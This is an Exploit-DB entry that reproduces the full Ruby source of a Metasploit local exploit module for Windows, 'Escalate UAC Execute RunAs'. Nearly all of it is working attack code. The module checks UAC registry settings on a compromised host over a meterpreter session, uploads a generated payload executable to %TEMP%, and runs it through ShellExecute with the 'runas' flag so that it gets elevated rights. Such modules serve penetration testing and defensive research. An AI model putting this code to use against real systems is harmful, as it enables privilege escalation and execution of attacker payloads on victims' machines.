Exploit-DB #21843
Description: Microsoft Windows - Escalate UAC Execute RunAs (Metasploit)
Type: local
Platform: windows
Date: 2012-10-10
Author: Metasploit

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Post::Common
	include Exploit::EXE
	include Post::File

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Escalate UAC Execute RunAs',
			'Description'   => %q{
				This module will attempt to elevate execution level using
				the ShellExecute undocumented RunAs flag to bypass low
				UAC settings.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [
					'mubix <mubix[at]hak5.org>' # Port to local exploit
				],
			'Version'       => '$Revision$',
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'Targets'       => [ [ 'Windows', {} ] ],
			'DefaultTarget' => 0,
			'References'    => [
				[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
			],
			'DisclosureDate'=> "Jan 3, 2012"
		))

		register_options([
			OptString.new("FILENAME", [ false, "File name on disk"]),
			OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
			OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
		])

	end

	def exploit

		root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
		open_key = session.sys.registry.open_key(root_key, base_key)
		lua_setting = open_key.query_value('EnableLUA')

		if lua_setting.data == 1
			print_status "UAC is Enabled, checking level..."
		else
			print_good "UAC is not enabled, no prompt for the user"
		end

		uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')

		case uac_level.data
		when 2
			print_status "UAC is set to 'Always Notify'"
			print_status "The user will be prompted, wait for them to click 'Ok'"
		when 5
			print_debug "UAC is set to Default"
			print_debug "The user will be prompted, wait for them to click 'Ok'"
		when 0
			print_good "UAC is not enabled, no prompt for the user"
		end


		#
		# Generate payload and random names for upload
		#
		payload = generate_payload_exe

		if datastore["FILENAME"]
			payload_filename = datastore["FILENAME"]
		else
			payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
		end

		if datastore["PATH"]
			payload_path = datastore["PATH"]
		else
			payload_path = session.fs.file.expand_path("%TEMP%")
		end

		cmd_location = "#{payload_path}\\#{payload_filename}"

		if datastore["UPLOAD"]
			print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
			fd = session.fs.file.new(cmd_location, "wb")
			fd.write(payload)
			fd.close
		end

		session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)

	end
end